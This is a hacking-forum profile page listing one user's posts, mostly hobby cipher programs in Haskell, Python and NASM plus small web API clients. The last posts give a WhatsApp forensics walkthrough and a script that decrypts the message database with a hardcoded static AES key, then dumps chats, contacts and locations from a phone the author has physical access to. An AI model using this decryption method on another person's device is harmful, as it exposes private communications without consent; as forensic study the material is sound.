Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Sanko

#1
Otros lenguajes / Morse - Haskell
Febrero 27, 2014, 06:31:27 PM
Código: haskell
module Morse where
xAbc = zip (['a'..'z']++['0'..'9']++".,?-!:;()=$@_+~# '")([".- ", "-... ", "-.-. ", "-.. ", ". ","..-. ", "--. ", ".... ", ".. ", ".--- ", "-.- ", ".-.. ", "-- ", "-. ", "--- ", ".--. ", "--.- ", ".-. ", "... ", "- ", "..- ", "...- ",".-- ", "-..- ", "-.-- ", "--.. ", "----- ",".---- ", "..--- ", "...-- ", "....- ", "..... ", "-.... ", "--... ","---.. ", "----. ", ".-.-.- ", "--..-- ", "..--.. ", "-....- ", "-.-.-- ", "---... ", "-.-.-. ", "-.--. ", "-.--.- ", "-...- ", "...-..- ", ".--.-. ","..--.- ", ".-.-. ", ".-... ", "...-.- ", "/ ", ".----. "])
findPos list elt = [index | (index, e) <- zip [0..] list, e == elt]

xEnc xs = [snd (xAbc !! (x !! 0))| x <- [findPos ([fst (xAbc !! z) | z <- [0..length xAbc]]) x | x <- xs]]
xDec xs = [fst (xAbc !! (x !! 0))| x <- [findPos ([snd (xAbc !! z) | z <- [0..length xAbc]]) x | x <- xs]]


Output:
Código: php
*Morse> xEnc "hola"
[".... ","--- ",".-.. ",".- "]
*Morse> xDec [".... ","--- ",".-.. ",".- "]
"hola"
#2
Otros lenguajes / Cifrado cesar - haskell
Febrero 26, 2014, 02:29:05 PM
Simple práctica del lenguaje, ya se que soy pesao repitiendo siempre mismos ciphers

Código: haskell
module Cesar where
import Data.Char
xEnc :: String -> Int -> String
xEnc z y = [chr ((ord x + y) `mod` 256) | x <- z]

xDec :: String -> Int -> String
xDec z y = [chr ((ord x - y) `mod` 256) | x <- z]
#3
Otros lenguajes / Cifrado Vigenere - Haskell
Febrero 26, 2014, 02:28:29 PM
Código: haskell
module Vigenere where
import Data.Char

xEnc :: String -> Int -> String
xEnc xs ys = [chr ((fst(x) + snd(x)) `mod` 256)| x <- zip [ord x | x <- xs] [ord y | y <- ys]]

xDec :: String -> Int -> String
xDec xs ys = [chr ((fst(x) - snd(x)) `mod` 256)| x <- zip [ord x | x <- xs] [ord y | y <- ys]]


#4
Otros lenguajes / sReplace - Haskell
Febrero 26, 2014, 02:28:07 PM
Código: haskell
sReplace [] _ _ = []
sReplace sText nText final = if take (length nText) sText == nText
                        then final ++ (sReplace (drop (length nText) sText) nText final)
                       else [head sText] ++ (sReplace (tail sText) nText final)


ejemplo input y output:
input -> sReplace "soy un chico muy listo" "listo" "tonto"
output -> Soy un chico muy tonto
#5
ASM / [NASM] Reverse string
Febrero 18, 2014, 06:12:47 AM
Bueno aqui os dejo mi primer código en ASM, tan solo da la vuelta a un string pero bueno, aun me cuesta pensar las cosas por este sector xd.
Don't judgue me.

Código: asm
;Script for reverse strings

segment .data
; text to print
output1 db 'Reversed: ', 0
len_output1 equ $-output1


segment .bss
;MAX LIMIT 50 bytes, 50 chars...
msg resb 50
lmsg resb 50

;creating 2 counters
counter resb 2
counter2 resb 2

segment .text

global _start
_start:
mov eax, 3 ;sys_read
mov ebx, 0

mov ecx, msg ;leyendo input
mov byte [counter], 0x30 ;counter as 0
mov byte [counter2], 0x30 ;counter as 0
mov edx, 50
mov esi, lmsg
int 0x80 ;call kernel


_loop:
cmp byte [ecx], 0x00 ;comparing [ecx]
je _reverse ;jumping to reverse function
inc ecx
inc byte [counter]
inc byte [counter2]
jmp _loop ;repeating


_reverse:
cmp byte [counter2], 0x30 ;comparing counter2
je _output ;jumping to output function
mov al, [ecx-1] ;last letter of msg
mov [esi], al ;operation origin

dec byte [counter2] ;counter2 - 1
dec ecx ;ecx(msg) - 1
inc esi ;esi + 1
jmp _reverse ;repeating


_output:
int 0x80 ;call kernel
mov eax, 4 ;sys_write
mov ebx, 1 ;stdin
mov ecx, output1 ;printing output
mov edx, len_output1 ;length of msg

int 0x80
mov eax, 4
mov ebx, 1
mov byte [esi+1], 0xA
mov ecx, lmsg
mov edx, 50d
int 0x80

mov eax, 1 ;sys_exit
int 0x80

      
#6
Python / Cifrado solitario
Febrero 13, 2014, 12:48:47 PM
Código: python
import string
xAbc = string.ascii_lowercase + '-'

def solitario(texto, ristra, opt):
    nText = [xAbc.find(x) + 1 for x in texto.lower()]
    nRistra = [xAbc.find(x) + 1 for x in ristra.lower()]
   
    if opt == 1:
        print "".join([xAbc[x - 1].replace('-', ' ') for x in [(nText[x] + nRistra[x]) % 26 for x in range(len(texto))]])

    elif opt == 0:
        print "".join([xAbc[x - 1].replace('-', ' ') for x in [(nText[x] - nRistra[x]) % 26 for x in range(len(texto))]])
       
#encoded output -> oexwa khqtw
#decoded output -> donot usepc
#7
Python / Cifrado progresivo
Febrero 05, 2014, 07:14:44 PM
Traduje este cifrado que hizo Metal:

Código: python
def progresivo(s, n, o):
    encoded = [ord(s[0]) + n,]
    decoded = [ord(s[0]) - n,]
     
    if o == 1:
        for i in s[1::]:
            encoded.append(ord(i) + encoded[-1])
         
        print "".join([unichr(x) for x in encoded])
     
    elif o == 0:
        for i in s[1::]:
            decoded.append(ord(i) - decoded[-1])
             
        print "".join([unichr(x) for x in decoded])

#Params: s = Texto a cifrar o descifrar | n = key | o = 1 -> cifrar, o = 0 -> descifrar
#progresivo('sanko', 2, 1) -> output example uÖńƯȞ
#8
Python / Cifrado 312
Febrero 05, 2014, 07:13:45 PM
Una traducción en python del cifrado 312 de Himanen:

Código: python
#Params | x = texto a cifrar | si z es 1 -> cifrar , cualquier otro valor -> descifrar
print "".join((lambda x, z: [unichr(int(i[2]+i[0]+i[1])) if z == 1 else unichr(int(i[1]+i[2]+i[0])) for i in ['{0:03}'.format(ord(z)) for z in x]])('hola', 1))


Saludos
#9
Python / Cifrado L213
Febrero 05, 2014, 07:11:22 PM
Un cifrado que hizo metal traducido a python:

Código: python
xAbc = 'LUCIFER213'

def xEnc(s, n):
    print "".join([xAbc[int(x)] for x in [z for z in "".join(['{0:03}'.format((ord(a) + n)) for a in s])]])
     

def xDec(s, n):
    print "".join(chr(int("".join([str(xAbc.find(x)) for x in s[i:i+3]]))-n) for i in range(0,len(s),3))
     
#xEnc('Hola puta.', 20)
#xDec('L3CUIUUC1UU2LECUICUI2UIRUU2LRR', 20)


Saludos
#10
Python / Anonfiles uploader
Diciembre 04, 2013, 01:55:36 PM
Estaba codeando esta clase para incluir en el bot del reto hasta que me di cuenta de que esta solo iba a poder ser usada por aquel que tuviese el bot corriendo en su PC, digamos que soy un distraido, así que nada, os la dejo aqui por si a alguien le es de utilidad, no tiene nada de especial.

Código: python
import pycurl, cStringIO, json
class Anonfiles:

def _upload(self, sFilename):
self.sFilename = sFilename

storage = cStringIO.StringIO()
PostFileStorage = cStringIO.StringIO()

curl = pycurl.Curl()
postData=[('file', (pycurl.FORM_FILE, sFilename))]

try:
curl.setopt(curl.WRITEFUNCTION, storage.write)
curl.setopt(curl.COOKIEFILE, '')
curl.setopt(curl.URL, 'https://anonfiles.com/api')
curl.setopt(curl.HTTPPOST, postData)
curl.setopt(curl.WRITEFUNCTION, PostFileStorage.write)
curl.perform()

except:
self.upload_data = "An error has ocurred uploading the file"

self.upload_data = json.loads(PostFileStorage.getvalue())
print self.upload_data["url"]


Saludos


#11
Python / Bytescanner api improved
Septiembre 20, 2013, 11:28:05 AM
Hace unos dias me dio por pegarle una ojeada a la "api" en python de bytescanner y le hice unas cuantas mejoras al code, aqui les dejo el mio y abajo el code original :

Código: python
#ByteScanner "API" coded by YAKIT
#code debugging / improved code / by Sanko

import pycurl, cStringIO, errno, sys, hashlib, json

#Defining Buffers
storage = cStringIO.StringIO()
PostFileStorage = cStringIO.StringIO()
ScanResultStorage = cStringIO.StringIO()
ScanHistoryStorage = cStringIO.StringIO()
ChangeLogStorage = cStringIO.StringIO()
AVersionStorage = cStringIO.StringIO()

#Defining curl
curl = pycurl.Curl()
curl.setopt(curl.WRITEFUNCTION, storage.write)
curl.setopt(curl.COOKIEFILE, '')

class bs_Api():

def __init__(self):
"""
self.__login('[email protected]', 'yourpassword')
self.__upload_file('test.exe')
self.__Result_ID(id)
self.__Scan_History()
self.__Change_Log()
self.__Check_AV_Version()
self.__Export_to('extension', id)
"""
def __login(self, email, password):
#trying to log in
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/client2api.php')
curl.setopt(curl.POSTFIELDS, 'action=Auth&email=%s&password=%s'%(email, password))
curl.perform()
#storing the json data returned like login_data
self.login_data = json.loads(storage.getvalue())

except:
print "An error has ocurred triying to log in bytescanner"

#checking if you are logged
if self.login_data['success'] == False:
print ("[x] "+self.login_data['error']['title'] + "\tReason: " + self.login_data['error']['reason'])
sys.exit(errno.EACCES)

self.dicc_login = {"ID":self.login_data['root'][0]['id'],
   "Email":self.login_data['root'][0]['email'],
   "Creation Date":self.login_data['root'][0]['created'],
   "Last Login":self.login_data['root'][0]['lastlogin'],
   "Last IP Logged":self.login_data['root'][0]['lastloginip']}
#print self.dicc_login

def __upload_file(self, sFilename):
#reading the file to upload
try:
with open(sFilename): pass

except IOError:
print "Unable to open %s" % sFilename

postData=[('action', 'BinaryFileTransfer'),
  ('binaryFile', (pycurl.FORM_FILE, sFilename))]
 
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/startup.php')
curl.setopt(curl.HTTPPOST, postData)
curl.setopt(curl.WRITEFUNCTION, PostFileStorage.write)
curl.perform()
self.upload_data = json.loads(PostFileStorage.getvalue())

except:
print "An error has ocurred uploading the file"

#checking
if self.upload_data['success'] != True:
print ("[x] "+self.upload_data['error']['title'] + "\tReason: " + self.upload_data['error']['reason'])
sys.exit(errno.EACCES)

self.dicc_upload = {"Result ID":str(self.upload_data['root']),
"MD5":hashlib.md5(open(sFilename).read()).hexdigest(),
"SHA1":hashlib.sha1(open(sFilename).read()).hexdigest()}
#print self.dicc_upload

def __Result_ID(self, r_ID):
#obtaining json result
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/api2client.php?action=scanResult&ResultID=%s'% r_ID)
curl.setopt(curl.WRITEFUNCTION, ScanResultStorage.write)
curl.perform()
self.result_data = json.loads(ScanResultStorage.getvalue())

except:
print "An error has ocurred obtaining the json data"

#checking
if self.result_data['success'] != True:
print ("[x] "+self.result_data['error']['title'] + "\tReason: " + self.result_data['error']['reason'])
sys.exit(errno.EACCES)

#print self.result_data

def __Scan_History(self):
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/api2client.php?action=ScanHistory')
curl.setopt(curl.WRITEFUNCTION, ScanHistoryStorage.write)
curl.perform()
self.history_data = json.loads(ScanHistoryStorage.getvalue())

except:
print "An error has ocurred obtaining your Scan History"

#print self.history_data

def __Change_Log(self):
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/api2client.php?action=ChangeLog')
curl.setopt(curl.WRITEFUNCTION, ChangeLogStorage.write)
curl.perform()
self.ChangeLog_data = json.loads(ChangeLogStorage.getvalue())

except:
print "An error has ocurred obtaining the ChangeLog"

#print self.ChangeLog_data

def __Check_AV_Version(self):
try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/api2client.php?action=AvVersion')
curl.setopt(curl.WRITEFUNCTION, AVersionStorage.write)
curl.perform()
self.AVersion_data = json.loads(AVersionStorage.getvalue())

except:
print "An error has ocurred obtaining the ChangeLog"

#print self.AVersion_data

def __Export_to(self, ext_to, r_ID):
buf = cStringIO.StringIO()
ext_dicc = {'png':'Png', 'xls':'Excel', 'pdf':'Pdf'}

try:
curl.setopt(curl.URL, 'http://www.bytescanner.com/export4client.php?action=Export2%s&ResultID=%s' %(ext_dicc[ext_to], r_ID))
curl.setopt(curl.WRITEFUNCTION, buf.write)
f = open('bs_report.%s'%(ext_to), 'w')
f.write(curl.perform())
f.close()

except:
print "An error has ocurred saving the %s report" % ext_dicc[ext_to]


code original:
Código: python
#Author: Ersan YAKIT
#Email : [email protected]

import pycurl, json
import cStringIO
import errno, sys

storage = cStringIO.StringIO()
PostFileStorage = cStringIO.StringIO()
ScanResultStorage = cStringIO.StringIO()

BYTESCANNER_EMAIL= "[email protected]"
BYTESCANNER_PASSWORD= "yourbytescannerpassword"

c = pycurl.Curl()
c.setopt(c.WRITEFUNCTION, storage.write)
c.setopt(c.COOKIEFILE, '') #we want to store cookie into memory

#STEP I ( Login into system )
c.setopt(c.URL, 'http://www.bytescanner.com/client2api.php')
c.setopt(c.POSTFIELDS, 'action=Auth&email='+BYTESCANNER_EMAIL+'&password='+ BYTESCANNER_PASSWORD)
c.perform()

data = json.loads(storage.getvalue())

if data['success'] != True:
print ("[x] "+data['error']['title'] + "\tReason: " + data['error']['reason'])
sys.exit(errno.EACCES)

print ("[+] Logged In\n")
print("Welcome, "+data['root'][0]['email']+"\nLast Login: "+ data['root'][0]['lastlogin']+"\nLast Login Ip: "+ data['root'][0]['lastloginip']+"\n" )


#STEP II ( Get File Name from user. )
scanFile= raw_input("Enter Scan File Path: ")
try:
with open(scanFile): pass
except IOError:
print 'Unable to open :'+scanFile
print("[+] Transfering file "+ scanFile +"\n")
## sending File To server!
postData=[
('action', 'BinaryFileTransfer'),
('binaryFile', (pycurl.FORM_FILE, scanFile))
]
c.setopt(c.URL, 'http://www.bytescanner.com/startup.php')
c.setopt(c.HTTPPOST, postData)
c.setopt(c.WRITEFUNCTION, PostFileStorage.write)
c.perform()
data = json.loads(PostFileStorage.getvalue())
if data['success'] != True:
print ("[x] "+data['error']['title'] + "\tReason: " + data['error']['reason'])
sys.exit(errno.EACCES)
print("[+] File transfer completed. Result ID: "+str(data['root']) )

#STEP III recieve scan results
print("[+] Starting request for scan results...\n");

c.setopt(c.URL, 'http://www.bytescanner.com/api2client.php?action=scanResult&ResultID='+str(data['root']) )
c.setopt(c.WRITEFUNCTION, ScanResultStorage.write)
c.perform()

data = json.loads(ScanResultStorage.getvalue())
if data['success'] != True:
print ("[x] "+data['error']['title'] + "\tReason: " + data['error']['reason'])
sys.exit(errno.EACCES)
print ('{0:30}\t{1:40}\t{2:30}\t{3:30}\n'.format("Antivirus Provider", "Antivirus Ver", "Scan Time", "Scan Result"))

for tmpIndex in data['root']:
print ('{0:30}\t{1:40}\t{2:30}\t{3:30}'.format(
tmpIndex['malwareScanProvider'], 
tmpIndex['malwareScanProviderVer'],
tmpIndex['malwareScanProviderResultTime'], tmpIndex['malwareScanProviderResult']
))

storage.close()
PostFileStorage.close()
ScanResultStorage.close()
print("[+] Scan Completed...\n")


PD : EL retorno se almacena en un diccionario, asi que cuando importen la clase acuerdense de parsear la informacion.
Saludos
#12
Pues eso, querría saber si algún usuario español de underc0de tiene pensado asistir a la primera PyCon España que se celebrara a finales de Noviembre en Madrid.
Para más info -> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#13
Python / Cifrado de Vigenère
Septiembre 09, 2013, 06:22:56 PM
Buenas, otra solución a un reto de udtools : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Code :

Código: python
#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Cifrado Vigenere en Python - Sanko
# Yi = (Xi + Zi) % 27

class cif_Vigenere():

def __init__(self):
self.abecedario = 'ABCDEFGHIJKLMNÑOPQRSTUVWXYZ'
self.__encode("P A R I S  V A U T  B I E N", "L O U P L  O U P L  O U P L")
self.__decode("A O N X D  L U L E  P C T W", "L O U P L  O U P L  O U P L")

def __encode(self, text, key):
encoded = ''
counter = 0

text = text.upper()
key = key.upper()

for i in range(len(text)):

if counter > len(key) - 1:
counter = 0

if text[i] == ' ':
encoded += '5'.replace('5', ' ')
counter += 1

else:
resultado = (self.abecedario.index(text[i]) + self.abecedario.index(key[counter]) + 1) % len(self.abecedario) - 1
encoded += self.abecedario[resultado]
counter += 1

print encoded


def __decode(self, enc_text, key):
decoded = ''
counter = 0

key = key.upper()

for i in range(len(enc_text)):
if counter > len(key) - 1:
counter = 0

if enc_text[i] == ' ':
decoded += '5'.replace('5', ' ')
counter +=1

else:
resultado = (self.abecedario.index(enc_text[i]) - self.abecedario.index(key[counter]) + 1) % len(self.abecedario) - 1
decoded += self.abecedario[resultado]
counter += 1

print decoded

cif_Vigenere()


Imágen :
#14
Python / Cifrado Morse
Septiembre 06, 2013, 11:26:43 AM
Bueno, este cifrado fue realizado con fin de resolver un reto de programación en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Código :

Código: python
# Cifrado Morse.py - Sanko
# -*- coding: utf-8 -*-

class cif_morse():

def __init__(self):
self.table = {'A':'.-', 'B':'-...', 'C':'-.-.',
  'D':'-..', 'E':'.', 'F':'..-.', 'G':'--.',
  'H':'....', 'I':'..', 'J':'.---', 'K':'-.-',
  'L':'.-..', 'M':'--', 'N':'-.', 'Ñ':'--.--',
  'O':'---', 'P':'.--.', 'Q':'--.-', 'R':'.-.',
  'S':'...', 'T':'-', 'U':'..-', 'V':'...-',
  'W':'.--', 'X':'-..-', 'Y':'-.--', 'Z':'--..',
  'Ä':'.-.-', 'Ö':'---.', 'Ü':'..--', '0':'-----',
  '1':'.----', '2':'..---', '3':'...--', '4':'....-',
  '5':'.....', '6':'-....', '7':'--...', '8':'---..',
  '9':'----.', '.':'.-.-.-', ',':'--..--', '?':'..--..',
  '!':'..--.', ':':'---...', '"':'.-..-.', "'":".----.",
  '=':'-...-', ' ':' '}

self.table2 = {}

# Inicializar desde aqui
self.__encode('Sanko os saluda')
self.__decode('... .- -. -.- ---   --- ...   ... .- .-.. ..- -.. .-')



def __encode(self, text):
self.text = text
self.encoded = ''

if self.text != '':
self.text = self.text.upper()

for i in self.text:
self.encoded += self.table[i] + ' '

print "Encoded: %s"% self.encoded



def __decode(self, en_text):
self.en_text = en_text
self.decoded = ''

for i in self.table:
self.table2[self.table[i]] = i

self.en_text = self.en_text.split(' ')

for x in self.en_text:
try:
self.en_text.remove('')
except:
pass
self.decoded += self.table2[x]

print "Decoded: %s"% self.decoded

cif_morse()

      
Imágen :
#15
Python / Cifrado Kamasutra
Agosto 26, 2013, 09:13:55 PM
Buenas, vengo a traerles la solución a un reto de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: python
#Cifrado Kamasutra en Python - Sanko
#Reto UDT - Cifrado Kamasutra

# -*- coding: utf-8 -*-
from random import randint
from string import maketrans

class cif_Kamasutra():

def __init__(self):
self.text = raw_input("Write the text to encode|> ")
self.text = self.text.upper()
self._gen_alfabeto()

def _gen_alfabeto(self):
#This func has been coded by Pink
self.alfabeto = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
letra1=""
letra2=""
self.retorno=""

for n in range(len(self.alfabeto)):
ram = randint(0,len(self.alfabeto)-1)
letra1 = self.alfabeto[ram]
letra2 = self.alfabeto[n]
self.alfabeto[n] = letra1
self.alfabeto[ram] = letra2

for n in range(len(self.alfabeto)):
self.retorno+=self.alfabeto[n]

#extra code
print "\nDict: %s"% self.retorno
self.new_alphabet = self.retorno[::-1]

self.__encode()
self.__decode()

def __encode(self):
self.encoded = maketrans(self.retorno, self.new_alphabet)
self.final_str = self.text.translate(self.encoded)
print "Encoded: ", self.text.translate(self.encoded)

def __decode(self):
decoded = maketrans(self.new_alphabet, self.retorno)
print "Decoded: ", self.final_str.translate(decoded)


cif_Kamasutra()


Una imágen vale más que mil palabras:


Saludos
#16
Python / Cifrado Escitala
Agosto 26, 2013, 09:10:24 PM
Buenas, hoy les traigo mi solución a un reto de programación en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código: python
#Cifrado escitala en python - Sanko
#Reto cifrado escitala - udtools.net

# -*- coding: utf-8 -*-

from math import ceil

class cif_escitala():

def __init__(self):
self.table = []
self.main()

def main(self):
print "Escitala cipher Python\n"
self.text = raw_input("Write the text to encode|> ")
self.n_col = input("\nWrite the number of columns|> ")

if self.text != '' and self.n_col != '':
self.__encode(self.text, self.n_col)
self.__decode()

print "\nNumber of columns: %s" % self.n_col
print "Encoded: %s" % self.encoded
print "Decoded: %s" % self.decoded

def __encode(self, text, n_col):
longitud = len(self.text)
if longitud > self.n_col:
h = ceil(longitud / self.n_col)
while h:
self.table.append(self.text[:self.n_col])
self.text = self.text[self.n_col:]
h -= 1

self.table.append(self.text.ljust(self.n_col))
self.text = ''.join(map(''.join, zip(*self.table)))
else:
print "n_col is bigger than longitud"

self.encoded = self.text.rstrip()

def __decode(self):
self.decoded = self.__encode(self.encoded, ceil(len(self.encoded) / self.n_col))


cif_escitala()


Una imágen vale más que mil palabras :


Saludos
#17


Despues de mucho tiempo de espera, al menos por parte del equipo de desarrollo, Grampus Beta sale a la luz.
Para los que desconozcais el proyecto, Grampus es una herramienta dirigida especialmente a analistas forenses y a pentesters en general.
La herramienta facilita la recopilación de información a traves de la extracción de metadatos de diferentes documentos y tareas de finger/foot printing

Características :
- Extracción de metadatos de documentos e imágenes, formatos soportados : Openoffice/Libreoffice, Office 2007, Office 2003, PDF, jpg, flv y gif.
- Eliminación de metadatos extraidos de diferentes documentos e imágenes.
- Tres tipos de Crawlers, entre los que se encuentra un crawler de documentos (por extensión) usando Google hacking.
- Para la tarea del fingerprinting contamos con un server banner y un escaneo mediante Shodan usando su api


Objetivos :
Como desarrolladores nuestro objetivo sería la implementación de nuevas tareas para la recopilación de información y el mantenimiento de los bugs que vayan saliendo.
Fuera de eso, queremos incentivar el desarrollo colectivo para que esta herramienta pueda ir automanteniendose y autorenovandose gracias a la colaboración de desarrolladores que usen la herramienta y así conseguir el objetivo común de una herramienta multiplataforma, estable y eficiente.


Download :
Aqui os acerco el enlace de nuestro grupo en bitbucket, donde podreis ir viendo los repositorios de los proyectos que vayamos iniciando : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este sería el enlace de descarga del software : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Y este sería el user-guide : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#18
Python / 24sms.net Sender
Mayo 22, 2013, 04:51:35 PM
Bueno os vengo a dejar un pequeñito code que hice para resolver unas dudas que se plantearón en este tema : No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Sin más el code y una imágen del mensaje recibido:

Código: python
# m.24sms.net app to send sms
# Coded by Sanko

import urllib, urllib2
from cookielib import CookieJar

class SMS_Sender():

    def __init__(self):
        self._Responser()

    def _Responser(self):
        self.__Params('Sanko', 'Aqui tu prefijo + numero de telefono')
        #
        try:
            data_encoded = urllib.urlencode(self.data)
            response = self.opener.open("http://m.24sms.net/", data_encoded)
            content = response.read()
        except:
            print "Error doing the response"

        def __Parser():
            if content == "Site is doing maintenance,please come back later.":
                print "ERROR sending the SMS"
            else:
                print "the SMS was sent correctly!"

        __Parser()

    def __Params(self, author, number):
        self.author = author
        self.number = number

        #capturing the cookies
        try:
            cj = CookieJar()
            self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        except:
            print "An error has ocurred capturing the cookies"
        #params
        self.data = {'al':1064, 'SendFrom':self.author, 'SendTo':self.number,
                'Msg':'Probando sms app - Sanko', 'submit':'Send'}


SMS_Sender()



Imágen :

#19
Python / Whatsapp Metadata Extractor
Mayo 13, 2013, 06:22:08 PM
Código: php
· WhatsApp Metadata Extractor :
       - main_manage.py (main de consola en forma de cliente)
       - DB_Extractor.py (extrae los metadatos de la BD)
       - metaimg_extractor.py (extrae los metadatos de los .jpg encontrados)



main_manage.py :
Código: python
# -*- coding: utf-8 *-*
import DB_Extractor, metaimg_extractor

class WhatsApp_Extractor():

    def __init__(self):
        self.__opt()

    def __opt(self):
        #Uncomment the OPTION that you want to use

        #self.__opt1()  #-> DB METADATA EXTRACTOR
        self.__opt2()  #-> IMG METADATA EXTRACTOR
        #self.__opt3()  #-> BOTH, OPT1 AND OPT2

    def __opt1(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"

    def __opt2(self):
        print "IMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

    def __opt3(self):
        print "DB METADATA"
        print "------------"
        DB_Extractor.DB_Extractor()
        print "------------"
        print "\nIMG META"
        print "------------"
        metaimg_extractor.IMG_Meta()
        print "------------"

WhatsApp_Extractor()


DB_Extractor.py :
Código: python
# -*- coding: utf-8 *-*
#Script to extract the metadata from the WhatsApp crypted DB

import sqlite3
from Crypto.Cipher import AES

class DB_Extractor():

    def __init__(self):
        self._manage_do()

    def _manage_do(self):
        try:
            self.__DB_Breaker('msgstore.db.crypt')
            self.__DB_conn()
            self.__SQL_Consulter()
            #Log exporter
        except:
            print "Error starting the script"

    def __DB_Breaker(self, DBPath):
        self.DBPath = DBPath
        #breaking the hash
        f = open(self.DBPath, 'rb')
        key = "346a23652a46392b4d73257c67317e352e3372482177652c"
        #triying to break the hash
        try:
            key = key.decode('hex')
            cipher = AES.new(key, 1)
            decoded = cipher.decrypt(f.read())
            #Saving into a new db file
            try:
                decoded_DB = open('metadb.db', 'wb')
                decoded_DB.write(decoded)
                decoded_DB.close()
                print "metadb.db has been created in the same directory"
            except:
                print "An error has ocurred creating the decoded DB"
        except:
            print "Error decoding the hash"


    def __DB_conn(self):
        #triying to connect with the sqlite database
        try:
            self.conn = sqlite3.connect('metadb.db')
            self.consult = self.conn.cursor()
        except:
            print "An error has ocurred connecting with the SQLite DB"


    def __SQL_Consulter(self):
        #Divided in :
            # Messages
            # Chat_list

        def __Messages():
            #SQLConsult
            try:
                self.consult.execute("SELECT key_remote_jid, key_from_me, \
                remote_resource, status, datetime(timestamp), data, media_url, media_mime_type, \
                media_size, latitude, longitude FROM messages;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Message details
                #nota : parsear status, comprobar si yo envio o recivo

                for data in self.consult:
                    try:
                        print "\nMessages Details:"
                        print "----------------------"

                        if str(data[2]):
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                            else:
                                print "From: %s(group), integrant: %s"%(str(data[0]), str(data[2]))
                                print "To: me"
                        else:
                            if str(data[1]) == '1':
                                print "From: me"
                                print "To: " + str(data[0])
                            else:
                                print "From: " + str(data[0])
                                print "To: me"

                        print "Status: " + str(data[3])
                        print "Timestamp: " + str(data[4])
                        print "Message: " + str(data[5])
                        print "Media content: %s, type: %s, size: %s"%(str(data[6]), str(data[7]), str(data[8]))
                        print "Location(Lat: %s, Long: %s)"%(str(data[9]), str(data[10]))
                        print "----------------------"

                    except:
                        continue
                        print "ERROR showing message details"

            __Shower()


        def __Chat_list():
            #SQLConsult
            try:
                self.consult.execute("SELECT id, \
                key_remote_jid FROM chat_list;")

            except:
                print "An error has ocurred doing the SQL Consult"

            def __Shower():
                #Chat list details
                for data in self.consult:
                    try:
                        print "\nChat_list"
                        print "ID: " + str(data[0])
                        print "Number: " + str(data[1])
                        print "----------------------"
                    except:
                        continue
                        print "ERROR showing chat list details"

            __Shower()

        #Initializing
        __Messages()
        __Chat_list()


metaimg_extractor.py :
Código: python
# -*- coding: utf-8 *-*
import os, exif

class IMG_Meta():

    def __init__(self):
        try:
            self.__Media_extractor()
            print "------------------------------------------------------\n"
            self.__Profile_extractor()
        except:
            print "An error has ocurred starting the script"
    def __Media_extractor(self):
        try:
            images = os.listdir('Media/WhatsApp Images/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Media/WhatsApp Images/%s' % i)
                print "-------------"

        __Shower()

    def __Profile_extractor(self):
        try:
            images = os.listdir('Profile Pictures/')
        except:
            print "An error has ocurred listing the files into the directory"

        def __Shower():
            for i in images:
                print "-------------"
                print i
                obj = exif.extract_EXIF('Profile Pictures/%s' % i)
                print "-------------"

        __Shower()



Trabajando :




Saludos.
#20


Buenas a todos, ya hace un tiempo que no escribo algún que otro articulo y hoy aburrido hablando con unos amigos por whatsapp me quedo la duda de si whatsapp guardaba los logs de todo lo que hicíera y efectivamente whatsapp lo hacia.

Viendo la de cositas que se estaban guardando :
      - Conversaciones de tlfn a tlfn
      - Chats activos
      - Fotos de los perfiles que mire
      - Imágenes, audios, videos que me pasarón o que pase

      (Por ejemplo).

Pues me apetecio hacerle un forense y al tiempo que lo hago os haré una demo del forense a un whatsapp y vereís todos los datos que podemos sacar de utilidad.

Recrearemos un entorno en el que dispongo de acceso físico a un terminal.
El whatsapp es una buena forma de extraer información sobre el día día de la persona, se podría aplicar algo como "Dime con quien andas y te diré quien eres" pero convertido al método geek.


Empezamos con la DEMO :

Bueno, los ficheros de whatsapp se guardan por defecto en /storage/sdcard0/WhatsApp/ , y yo me enviaré los ficheros con Airdroid, una estupenda app para compartir archivos PC - Smartphone vía wifi.




Para pasar a estar conectados en "Modo de conexión remota" como ahí podeís ver solo hay que acceder a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
y te logueas con tu cuenta.




Y tan solo te queda acceder al directorio y descargar los arhivos de los que extraeremos los metadatos.



Una vez descargados los ficheros voy a proceder a comentaros que podemos encontrar en cada uno de los directorios y cómo podríamos extraerles el jugo.

Tenemos "Databases", "Media" y "Profile Pictures", he hecho un script para que extraiga los metadatos de los db.crypt, tambien extrae los ficheros de la carpeta media(imágenes, audios, videos) y tambien extrae las imágenes encontradas en Profile Pictures.

Databases : Aqui podremos encontrarnos una serie de ficheros con extensión "db.crypt", Whatsapp cifra los archivos SQLite con AES pero siempre usa la misma key "346a23652a46392b4d73257c67317e352e3372482177652c" y de este modo podré decodificarlos.

Media : Aqui nos encontramos con una seríe de archivos (imágenes, audios, videos y wallpapers).

